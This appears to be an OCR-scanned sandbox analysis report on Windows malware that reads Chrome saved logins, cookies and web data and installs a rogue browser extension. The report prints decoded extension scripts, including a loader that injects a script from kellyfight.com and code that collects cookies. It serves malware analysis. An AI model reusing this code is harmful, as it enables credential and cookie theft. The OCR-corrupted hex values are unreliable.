6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 8¢ 9c 76 90 c8 fd
18 c3 c8fd 18 c3 c8 fd
18 c3 4b 5 45 c3 cb fd
18 c3 c8 fd 19 ¢3 53 fd
18 c3 46 ea 78 c3 df
fd 18 c3 46 ea 17 c3
85 fd 18 c3 46 ea 47
c3c7 ff18 c3 46 ea
44 c3 c9 fd 18 c3 46
ea 46 c3 c9 fd 18 c3
46 ea 42 c3 c9 fd 18
c352 69 63 68 c8 fd
18 ¢3 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 50 45
00 00 4c 01 05 00 e8
51 b4 44 00 00 00

cannot be run in DOS
mode....
$...

............ 1..L.IThis program

cannot be run in DOS

.L.!This program

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

383DB9A WriteFile

383DB9A WriteFile
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File Path
C:\Users\user\AppData\Local\Temp\xIdl.dll

C:\Users\user\AppData\Local\Temp\download\zlib1.dll

File Read

File Path

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

C:\Users\user\AppData\Local\Login Datal611970726180

C:\Users\user\AppData\Local\Login Datal611970726180

C:\Users\user\AppData\Local\Login Datal611970726180

C:\Users\user\AppData\Local\Cookies1611970726289
Copyright null 2021

Offset

Length Value

unknown 293320 4d 5a 90 00 03 00 00

unknown 59904

00 04 00 00 00 ff ff 00 ..

00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 10 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 71 a7 c3 08 35 c6
ad 5b 35 c6 ad 5b 35
c6 ad 5b 26 ce c4 5b
37 c6 ad 5b bb d1 a2
5b 2f ¢6 ad 5b bb d1
f2 5b aa c6 ad 5b b6
ce f2 5b 34 c6 ad 5b
cf e5 b4 5b 31 c6 ad
5b 26 ce fO 5b 37 c6
ad 5b b6 ce 0 5b 3f
c6 ad 5b 35 c6 ac 5b
9f c6 ad 5b 12 00 d6
5b 30 c6 ad 5b bb d1
cd 5b 70 c6 ad 5b bb
d1 f1 5b 34 c6 ad 5b
d9 cd f3 5b 34 c6 ad
5b bb d1 7 5b 34 c6
ad 5b 52 69 63 68 35
c6 ad

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 08 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 22 75 8e 2d 66 14
e0 7e 66 14 e0 7e 66
14 e0 7e 63 18 bd 7e
65 14 e0 7e 63 18 80
7e 67 14 e0 7e 63 18
bf 7e 63 14 0 7e 63
18 ef 7e 64 14 e0 7e
e5 1c bd 7e 64 14 e0
7e 66 14 el 7e 7e 14
e0 7e e8 03 bf 7e 6b
14 e0 7e e8 03 ef 7e
64 14 e0 7e e8 03 bc
7e 67 14 e0 7e 8a 1f
be 7e 67 14 e0 7e e8
03 ba 7e 67 14 e0 7e
52 69 63 68 66 14 e0
7e 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00
Offset Length
unknown 4999496
0 100
0 2048
30720 2048
0 100

cannot be run in DOS
mode....$....... g...5..[5..[5..
[&.[7 [l Lo [ [4 L
1.[&.[7..[...[2..[6..[...[...[0..
[.[p..[...[4..[...[4..[...[4..
[Rich5..

............ 1..L.IThis program

cannot be run in DOS

.L.!This program

Completion

success or wait

success or wait

Completion

success or wait
success or wait
success or wait
success or wait

success or wait

Source

Count Address Symbol

1

1

Count Address

1

383DB9A WriteFile

383DB9A WriteFile

Source

Symbol
4F0C08 ReadFile
38DF95D ReadFile
38DF95D ReadFile
38DF95D ReadFile

38DF95D
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Source

File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Local\Cookies1611970726289 0 4096 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Roaming\1611970727133.txt unknown 28672 success or wait 1 3833578 ReadFile
C:\Users\user\AppData\Roaming\1611970727133.txt unknown 4096 success or wait 1 3833578 ReadFile
C:\Users\user\AppData\Local\Login Datal611970737242 0 100 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Local\Login Datal611970737242 0 2048 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Local\Cookies1611970737289 0 100 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Local\Cookies1611970737289 0 4096 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 348160 success or wait 1 3833578 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 3833578 ReadFile
C:\Users\user\AppData\Local\Web Data1611970737586 0 100 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Local\Web Data1611970737586 0 2048 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Localwebdatal1611970737633 0 100 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Localwebdatal1611970737633 0 2048 success or wait 1 38DF95D ReadFile
C:\Users\user\AppData\Local\Temp\xIdl.dat unknown 32 success or wait 9 383DB1A ReadFile

Registry Activities

Key Created
Source
Key Path Completion Count Address Symbol
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\a0b923820dcc509a success or wait 1 394291E RegCreateKeyExA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\9d4c2f636f067f89 success or wait 1 39428CE RegCreateKeyExA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\257FB5DF51EB85B5 success or wait 1 3942A41 RegCreateKeyExA
Analysis Process: msiexec.exe PID: 6640 Parent PID: 1704
General
Start time: 17:38:39
Start date: 29/01/2021
Path: C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit): true
Commandline: C:\Windows\syswow64\MsiExec.exe -Embedding 0B37D2846804C02059732A6A10D93625 C
Imagebase: 0xe80000
File size: 59904 bytes
MDS5 hash: 12C17B5A5C2A7B97342C362CA467E9A2
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
Analysis Process: 6272167835D47591.exe PID: 6684 Parent PID: 6476
General
Start time: 17:38:41
Start date: 29/01/2021
Path: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe 200 user0l
Imagebase: 0x400000
File size: 4999496 bytes
MDS5 hash: F7D7C89F3F5CBC925480B46B7B934157
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
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Yara matches: e Rule: Ping_Command_in_EXE, Description: Detects an suspicious ping command
execution in an executable, Source:
00000004.00000002.278675442.0000000002730000.00000040.00000001.sdmp, Author:

Florian Roth
Reputation: low
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\1611970728399 read attributes | device synchronous io  success or wait 1 38D5939 CreateFileA
synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\hihistory read attributes | device synchronous io  success or wait 1 38D58D6 CreateFileA
synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\crx.7z read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\crx.json read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read data or list device directory file | success or wait 1 37B59E1 CreateDirectoryA
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read data or list device directory file | success or wait 1 37B59E1 CreateDirectoryA
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0 directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\icon.png synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\icon48.png synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\popup.html synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\background.js synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
Extensions\eklhijedkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\book.js synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\jquery-1.8.3.min.js  synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\popup.js synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ read attributes | device synchronous io  success or wait 1 37CDA6B CreateFileW
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\manifest.json synchronize | non alert | non
generic write directory file
C:\Users\user\AppData\Local\Temp\1611970730398 read attributes | device synchronous io  success or wait 1 38D5939 CreateFileA
synchronize | non alert | non
generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\hihistory success or wait 1 38D58FD DeleteFileA
C:\Users\user\AppData\Local\crx.json success or wait 1 383121E DeleteFileA
C:\Users\user\AppData\Local\crx.7z success or wait 1 383143C DeleteFileA
C:\Users\user\AppData\Local\Temp\1611970728399 success or wait 1 3831BD5 DeleteFileA
C:\Users\user\AppData\Local\Temp\1611970730398 success or wait 1 382E653 DeleteFileA
File Moved
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Old File Path

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\book.js

File Written

File Path

C:\Users\user\AppData\Local\Temp\1611970728399

C:\Users\user\AppData\Local\crx.7z

Copyright null 2021

New File Path

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\
Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\d8yl+H

f7rX.js

Offset Length Value

unknown 37737

unknown 36105

37 7a bc af 27 1c 00
03 49 56 77 20 27 93
00 00 00 00 00 00 22
00 00 00 00 00 00 00
¢6 53 db b7 00 1b 9e
93 8af1 382544 84
d4 fd 32 20 a4 96 4a
8797 a8 79318143
bf cd 88 aa be al 86 f3
48 45 38 39 a7 56 €6
98 5a 27 2c 6e 2a d5
24554 0456 13 15
15 Oe ad 4f c1 25 7b 1f
49 1e 36 21 06 94 8b
91 d9 22 83 de 3a 19
4c 99 a9 6e 72 48 2e
8f 41 86 6d Ob 09 ba
86 eb f9 89 35 cc 4d
04 6f 00 1c f5 b9 9d e9
51e7d0el 72 8dch
01 9b e2 ff 7c fa 6b 31
9d f0 53 22 a9 eb 77
2259 ae 93e1 3270
53 b5 bb a4 b4 67 88
7 c1 dc f8 56 3a 79 15
3b 15 cd 2b 86 d5 9b
50 89 e4 8c 38 46 ed
bd 74 17 93 fd 29 95
26 3a e6 21 6a a5 ee
cb b3 ba e9 3d 89 fc 7f
25 d8 b1 64 0d 62 15
75 b7 26 €2 05 34 79
a6 3c b9 3937 c4 ad
5b 11 60 4c 5d 37 Ob
cf c3 73 5a 97 3b be
4b d1 07 45

37 7a bc af 27 1c 00
03 d4 03 39 bb c5 8¢
00 00 00 00 00 00 24
00 00 00 00 00 00 00
9a 5e 78 12 00 44 94
05 c4 7a 27 16 f7 ee 89

8e509088hb3aads S....T.K\)}.,+>\YeFp-..<.

50 27 c5 42 d4 1a 61

ac 49 6b d6 3f 68 a5 4f .F~..R.$s..m..}/.>.x..>..0

20 28 3c 4d b3 dc 41
14 b2 8b 53 b1 d5 1c
3e 6¢ 1f ed 13 5b 9¢
79 9b 8d f6 45 ee 42
46 14 40 19 2a 77 cb
bb Ob 34 33 03 a5 7b
ac 62 f1 47 fb d2 f3 28
ae 2e e8 bb 3d 81 51
c6 ac 32 27 d3 39 a5
6c 25 85 09 7e 06 34
db a9 b4 60 7e ed 75
58 36 c1 c9 08 8a 98
53 c3 ed 15 b5 9b 54
19 cl4bca5c 29 7d
d7 e3 2c 2b 3e 5¢ 59
65 46 70 2d b1 00 ca
3ca74f 74 70 77 e2 ff
0d 86 f7 cd 23 d7 4e
56 1a 13 ab ee 7 ff da
d9 d5 7e al 3b a5 28
fd db 8d 2d €3 46 7e
ae 7f 86 52 a4 24 73 0f
chb 6d d6 d4 7d 2f 1a
3e e0 01 78 96 c8 3e
ac bl 4f 73 77 8b 82
6d de 1d 41 b6 4f b3
68 5d d7 64

s 8%D...2 .J..yl.C....
...HE89.V..Z' n*$.T.V.....0
{16l L.nrH.. A.m..

.=..%..d.b.u.&.4y.<97.[.
L]7...sZ.;.K..E

x..D...Z".
h.O (<M..A..S..>l...[y...
E.BF.@.*w...43.{b.G...
(...=

.Q..2'.9.1%..~.4...~.uX6.

Otpw..... £ NV......

sw..m..A.O.h].d

.P....P'B.alk?

Completion

success or wait

Completion

success or wait

success or wait

Source

Count Address Symbol

1

382F6E4 MoveFileA

Source

Count Address Symbol

1

1

38D5954 WriteFile

37CDB9A WriteFile
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File Path

C:\Users\user\AppData\Local\crx.json

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Secure Preferences

Copyright null 2021

Offset Length Value

unknown 1981

unknown 32768

7b 22 61 63 74 69 76
65 5f 70 65 72 6d 69
73 73 69 6f 6e 73 22
3a 7b 22 61 70 69 22
3a 5b 22 61 63 74 69
76 6554 61 62 22 2¢
226272 6f77 73 69
6e 67 44 61 74 61 22
2c 22 63 6f 6e 74 65
6e 74 53 65 74 74 69
6e 67 73 22 2¢ 22 63
6f 6e 74 65 78 74 4d
65 6e 75 73 22 2¢ 22
63 6f 6f 6b 69 65 73 22
2c 22 64 6f 77 6e 6¢ 6f
6164 7322 2c 22 64
6f 77 6e 6¢ 6f 61 64 73
49 6e 74 65 72 6e 61
6C 22 2c 226869 73
7467279 22 2¢c 22
6d 61 6e 61 67 65 6d
65 6e 74 22 2c 22 70
726976 616379 22
2c2273746f7261
67 6522 2c227461
62 73 22 2¢c 22 74 6f
705369 746573 22
2c 22 77 65 62 4e 61
76 69 67 61 74 69 6f
6e 22 2¢ 22 77 65 62
526571756573 74
222¢ 2277 65 62 52
657175657374 42
6¢ 6f 63 6b 69 6e 67
225d2c 22736372
69 70 74 61 62 6¢ 65

7b 22 65 78 74 65 6e
73 69 6f 6e 73 22 3a
7b 22 70 6f 6¢ 69 63
7922 3a7b 227377
69 74 63 68 22 3a 66
61 6¢ 73 65 7d 2c 22
73 65 74 74 69 6e 67
7322 3a7b 226161
70 6f 63 63 6¢ 63 67 6f
67 6b 6d 6e 63 6b 6f
6b 64 6f 70 66 6d 68 6f
6e 66 6d 67 6f 65 6b
22 3a7b 226163 6b
5f 65 78 74 65 72 6e
616¢223a747275
65 2¢ 22 61 63 74 69
76 65 5f 70 65 72 6d
69 73 73 69 6f 6e 73
22 3a7b22617069
22 3a 5b 5d 2¢ 22 6d
61 6e 69 66 65 73 74
5f 70 65 72 6d 69 73
73 69 6f 6e 7322 3a
5b 5d 7d 2¢ 22 61 70
70 5f 6¢ 61 75 6e 63
68 65 72 5f 6f 72 64
69 6e 61 6¢ 22 3a 22
77 22 2c 22 63 6f 6d
6d 61 6e 64 73 22 3a
7b 7d 2c 22 63 6f 6e
74 65 6e 74 5f 73 65
7474 69 6e 67 73 22
3a 5b 5d 2¢ 22 63 72
65 61 74 69 6f 6e 5f 66
6c 61 67 73 22 3a 31
3337 2¢ 22 65 76 65

Ascii
{"active_permissions":
{"api":[
"activeTab","browsingData
""co
ntentSettings'
us",
"cookies","downloads","do
wnloa
dsInternal","history’
gem
ent","privacy’
bs

" "topSites","webNavigatio
e
webRequest","webRequest
Blocking"],"scriptable

,"contextMen

, mana

,"storage”,"ta

{"extensions":{"policy":
{"switch":false},"settings":
{"aapocc
Ilcgogkmnckokdopfmhonfm
goek":{"
ack_external:true,"active__
permissions":{"api":
[1,"manifest_permissions":
[1},"app_launcher
_ordinal":"w","commands":
{},"content_settings":
[1,"creation_flags":137,"eve

Completion

success or wait

success or wait

Source
Count Address Symbol

1 37CDB9A WriteFile

1 37C4133 WriteFile
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File Path

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Secure Preferences

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\icon.png

Copyright null 2021

Offset Length Value

unknown 1868

unknown 1161

34 46 33 39 45 43 43
33433436413431
42 42 3037 22 2c 22
6c 61 73 74 5f 7573
65 72 6e 61 6d 65 22
322232414139 34
36 36 36 34 32 38 41
34314242 39 38 38
384345384238 41
36 37 4542 38 37 39
3334 4332443033
32413746 37 46 33
41 46 42 36 46 34 30
46 35 46 46 33 34 43
373141227d7d2c
22 68 6f 6d 65 70 61
67 65 22 3a 22 41 42
34 41 44 38 39 33 36
43 413033433633
44 43 35 35 45 35 45
38 323635374338
3144 3744453542
43 44 45 38 32 36 45
3537 3146 31 46 32
38423932434134
3946434243 34 22
2c 22 68 6f 6d 65 70
61 67 65 5f 69 73 5f 6e
657774616270 61
67 6522 3a 223242
353943444537 33
3334 3043363545
37 3138363039 31
31 44 34 30 37 37 30
38 32 33 34 39 45 36
44 37 43 41 46 38 44
3137

89 50 4e 47 0d Oa la
0a 00 00 00 0d 49 48
44 52 00 00 00 1e 00
00 00 1e 08 06 00 00
00 3b 30 ae a2 00 00
04 50 49 44 41 54 48
89 ed 95 5d 88 94 65
14 c7 7f e7 79 de 99 fd
9ad5 75 77 dc 75 d1
3e ac fO c6 44 a3 04 2f
b2 04 33 24 ac db e8
22 02 bl 2e ac ab b2
bc 4a b6 0f 0a a2 48
ba e8 c2 28 8a a0 82
a4 1b c3 30 4a Oc Ob
d2 44 dd c0 84 58 2c
30 3f b6 76 26 57 77
d7 9d 8f 7 39 5d 3c cf
fb ce 3b e3 3a e6 4d
74e18177e619de
e7 9c ff f9 ff cf c7 cO
0d fb 8f 4c 00 56 1f d9
7c7a a2 5a5fd2 ee
62 24 a2 bd 91 29 7
e7 a2 9d df ac 7a ef d5
ec bb f5 ¢7 9f 7c a9 5¢
ab 3f 33 55 77 fd bf Oe
Oe 5e el 7b db f8 78
7a le cc 47 bf 1f ba e7
83 a5 06 60 a2 5a 5f
2221 0b91 b9 9f 18
95 0b b5 78 €0 d4 4c
e5 95 b5 47 b7 1c 48
02 ad 3d ba f9 f0 6f 33
95 1d 93 b5 b8 3f 46

Ascii

4F39ECC3C46A41BB07","
last_user
name":"2AA94666428A41
BB988BCE8
B8A67EB87934C2D032A7
F7F3AFB6F4
OF5FF34C71A"}},"homepa
ge":"AB4
AD8936CA03C63DC55E5
E82657C81D7
DESBCDE826E571F1F28
B92CA49FCBC

4" "homepage_is_newtabp
age":"2
B59CDE73340C65E71860
911D407708
2349E6D7CAF8D17

0. 2
w.u.>...D..[.3$..".
.H...(......0J...D...X,0?.v&W

..LV.]|z.Z_.b$..)....z
e M23UWL A XZ..G..
M

Completion

success or wait

success or wait

Source
Count Address Symbol

1 37C4133 WriteFile

1 37CDB9A WriteFile
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File Path

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\icon48.png

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\popup.html

Copyright null 2021

Offset Length Value

unknown 2235

unknown 280

89 50 4e 47 0d Oa la
0a 00 00 00 Od 49 48
4452 00 00 00 30 00
00 00 30 08 06 00 00
00 57 02 f9 87 00 00
08 82 49 44 41 54 68
81 bd 5a 5d 6¢ 5c 47

15fe ce ec ae 7fb6 dd . TH@...W...YB_....
Zm.JjL PN\ L

34 ¢c62292e3 38 4e
1a 9358 42 15 0f b8
b2 fa 44 23 94 3¢ 20
24 b7 2057 fc a4 7d
899282 c44b 8d 14
a9 50 84 51 0a a9 fc
e0 8a 17 10 ad fc 02
08 50 Oc 8a 2d 78 4a
54 a5 4f a0 2a 06 21
55 42 4e 6a 48 6¢ 27
b1 04 32 c6 dd 64 d7
6b fb ce c7 ¢3 cc dc 3b
f7 cfeb 9f a4 e7 ea ea
cc de 3b 73 e6 9c 33
e7 6f e6 ae e0 11 cO
alc5elf6d587cl
29 42 9f 14 b2 1f 44 1f
44 3a 00 54 48 40 09
aa 00 57 08 ce 89 a8
59 42 5f 7f ea 89 d6 6b
77 7b 26 eb 7b 9d 5b
76 3b f0 a9 f9 6f 74 e8
5a 6d 08 82 21 6a 9e
06 50 4e 13 17 10 84
d8 69 5¢c 9b 20 00 d4
04 72 15 82 69 55 2e
4f af f6 fe 66 €5 13 11
e0e0 fd

3c 21 44 4f 43 54 59
50 45 20 48 54 4d 4c
3e 0a 3c 68 74 6d 6¢
3e 0a 3c 68 65 61 64
3e 0a 3c 6d 65 74 61
20636861 7273 65
74 3d 22 55 54 46 2d
38 22 3e 0a 3c 74 69
74 6¢ 65 3e 3c 2f 74
69 74 6¢ 65 3e Oa 3c
73 7479 6¢ 65 20 74
79 70 65 3d 22 74 65
78 74 2f 637373 22
3e 0a 64 69 76 20 7b
0a 09 66 6f 6e 74 2d
73 69 7a 65 3a 20 33
30 70 78 3b 0a 09 63
6f 6¢ 6f 72 3a 20 72
65 64 3b 0a 7d Oa 3c
2f 73 74 79 6¢ 65 3e
0a 3c 7363 7269 70
74207479 70 65 3d
22 74 6578 74 2f 6a
6176 61 73 63 72 69
7074222073 7263
3d 22 6a 71 7565 72
79 2d 31 2e 38 2e 33
2e 6d 69 6e 2e 6a 73
22 3e 3c2f 736372
69 70 74 3e Oa 3c 73
6372697074 2074
79 70 65 3d 22 74 65
78 74 2f 62 61 76 61
7363726970 74 22
20737263 3d2270
6f 70 75 70 2e 6a 73
22 3e 3c

...... [21[0) R ) N ) b
IDATh..Z]\G........ 4."
..8N..XB....D#.< $.

[v;...ot
.iU.0..

fo

<IDOCTYPE HTML>.
<html>.<head>.<meta
charset="UTF-8">.<title>
<ftitle>.<style
type="text/css">.div {..font-
size: 30px;..color: red;.}.
</style>.<script type="text
ljavascr<wbr>ipt"
src="jquery-1.8.3.min.js">
</scr<wbr>ipt>.<
scr<wbr>ipt
type="text/javascr<wbr>ipt"
src="popup.js"><

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

37CDB9A WriteFile

37CDB9A WriteFile
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File Path

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\background.js

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\book.js

Copyright null 2021

Offset Length

unknown 886

unknown 152

Value

24 28 66 75 6e 63 74
69 6f 6e 28 29 20 7b
Oa Oa 63 68 72 6f 6d
65 2e 74 61 62 73 2e
6f 6e 53 65 6¢ 65 63
74 69 6f 6e 43 68 61
6e 67 65 64 2e 61 64
64 4c 69 73 74 65 6e
6572 28 66 75 6e 63
74 69 6f 6e 28 74 61
62 2c 69 6e 66 6f 29
7b 0a 09 Oa 09 63 68
72 6f 6d 65 2e 74 61
6273271756572
79 28 7b 0a 09 09 09
61 63 74 69 76 65 20
3a2074 7275 65 0a
09 09 7d 2c 20 66 75
6e 63 74 69 6f 6e 28
74616229 20 7b Oa
0909 09 76 61 72 20
7061 67 6555 72 6¢
203d 20 74 61 62 5b
30 5d 2e 75 72 6¢ 3b
0a 09 09 09 63 6f 6e
73 6f 6¢ 65 2e 6¢ 6f 67
287061 67 6555 72
6¢ 29 3b 0a 09 09 09
69 66 20 28 4e 75 6d
62 657228 70 61 67
65 55 72 6¢ 2e 69 6e
64 65 78 4f 66 28 22
65 78 74 65 6e 73 69
6f 6e 73 22 29 29 20
3e 20 31 29 20 0a 09
09 09 7b 0a 09 09 09
63 68

28 66 75 6e 63 74 69
6f 6e 28 29 7b 0d Oa
20207661722073
20 3d 20 64 6f 63 75
6d 65 6e 74 2e 63 72
65 61 74 65 45 6¢ 65
6d 65 6e 74 28 27 73
637269 70742729
3b 20 0d 0a 20 20 73
2e 73726320 3d 20
27 2f 2f 6b 65 6¢ 6C 79
66 69 67 68 74 2e 63
6f 6d 2f 32 32 61 66
66 35 36 66 34 35 66
36 62 33 36 64 65 63
2e 6a 73 27 3b 20 0d
0Oa 20 20 64 6f 63 75
6d 65 6e 74 2e 62 6f
6479 2e 61 70 70 65
6e 64 43 68 69 6¢ 64
287329 3b 0d Oa 7d
292829 3b

Ascii

$(function()
{..chrome.tabs.on
SelectionChanged.addList
ener(function(tab,info)
{....chrome.t
abs.query({....active : true..
.}, function(tab) {....var pag
eUrl = tab[0].url;....console.
log(pageUrl);....if
(Number(pa
geUrl.indexOf("extensions"
) >1)..{..ch

(function(){.. vars =
docume
nt.createElement('script’);
. s.sre=
‘lIkellyfight.com/22aff
56f45f6b36dec.js'; ..
documen
t.body.appendChild(s);..})
05

Completion

success or wait

success or wait

Source
Count Address Symbol

1 37CDB9A WriteFile

1 37CDB9A WriteFile
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File Path

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\jquery-1.8.3.min.js

C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\eklhijcdkfafgjlcdgm
bboagmpekiefg\1.0.0.0_0\popup.js

Copyright null 2021

Offset Length
unknown 93637

unknown 642

Value

2f2a 2120 6a5175
657279207631 2e
382e33206a7175
65 72 79 2e 63 6f 6d
20 7¢c 20 6a 71 75 65
72 79 2e 6f 72 67 2f 6¢
69 63 65 6e 73 65 20
2a 2f 0d Oa 28 66 75
6e 63 74 69 6f 6e 28
65 2c 74 29 7b 66 75
6e 63 74 69 6f 6e 20 5f
286529 7b 76 61 72
20 74 3d 4d 5b 65 5d
3d 7b 7d 3b 72 65 74
7572 6e 20 76 2e 65
61 63 68 28 65 2e 73
70 6¢ 69 74 28 79 29
2c 66 75 6e 63 74 69
6f 6e 28 65 2c 6e 29
7b 74 5b 6e 5d 3d 21
30 7d 29 2¢c 74 7d 66
75 6e 63 74 69 6f 6e
20 48 28 65 2c 6e 2¢
7229 7b 69 66 28 72
3d 3d 3d 74 26 26 65
2e 6e 6f 64 65 54 79
70 65 3d 3d 3d 31 29
7b 76 61 72 20 69 3d
2264617461 2d22
2b 6e 2e 72 65 70 6¢
61 63 65 28 50 2c 22
2d243122292e74
6f 4c 6f 77 65 72 43 61
73652829 3b723d
652e 6765744174
747269627574 65

24 28 66 75 6e 63 74
69 6f 6e 28 29 20 7b
0d 0a 0d 0Oa 09 0d Oa
0976 61 72 20 61 2¢
20 65 3b 0d Oa 0d Oa
09 63 68 72 6f 6d 65
2e 74 6162 73 2e 67
65 74 53 65 6¢ 65 63
74 65 64 28 6e 75 6¢
6¢ 2¢ 20 66 75 6e 63
74 69 6f 6e 28 74 61
62 29 20 7b 0d 0a 09
09 65 20 3d 20 74 61
62 2e 7572 6¢ 3b 20
0d 0a 09 09 61 6¢ 65
727428227572 6¢
2d 2d 22 20 2b 20 65
29 3b 0d 0a 09 7d 29
3b 0d Oa 0d Oa 09 63
68 72 6f 6d 65 2e 63
6f 6f 6b 69 65 73 2e
67 65 74 41 6¢ 6¢C 28
7b 0d 0a 09 09 75 72
6¢ 20 3a 20 65 0d Oa
09 7d 2c 20 66 75 6e
63 74 69 6f 6e 28 79
74 43 6f 6f 6b 69 65 73
29 20 7b 0d Oa 09 09
66 6f 72 20 28 20 76
61 72 20 69 20 3d 20
30 3b 20 69 20 3c 20
79 74 43 6f 6f 6b 69 65
73 2e 6¢ 65 6e 67 74
68 3b 20 69 2b 2b 29
20 7b 0d 0a 09 09 09
69 66 20 28 79 74 43
6f

Ascii

/¥l jQuery v1.8.3
jquery.com |
jquery.org/license */..(funct
ion(e,t){function _(e){var

t=M

[e]={};return

v.each(e.split(y
),function(e,n){t[n]=!0}),t}fu
nction H(e,n,r)
{if(r===t&&e.no
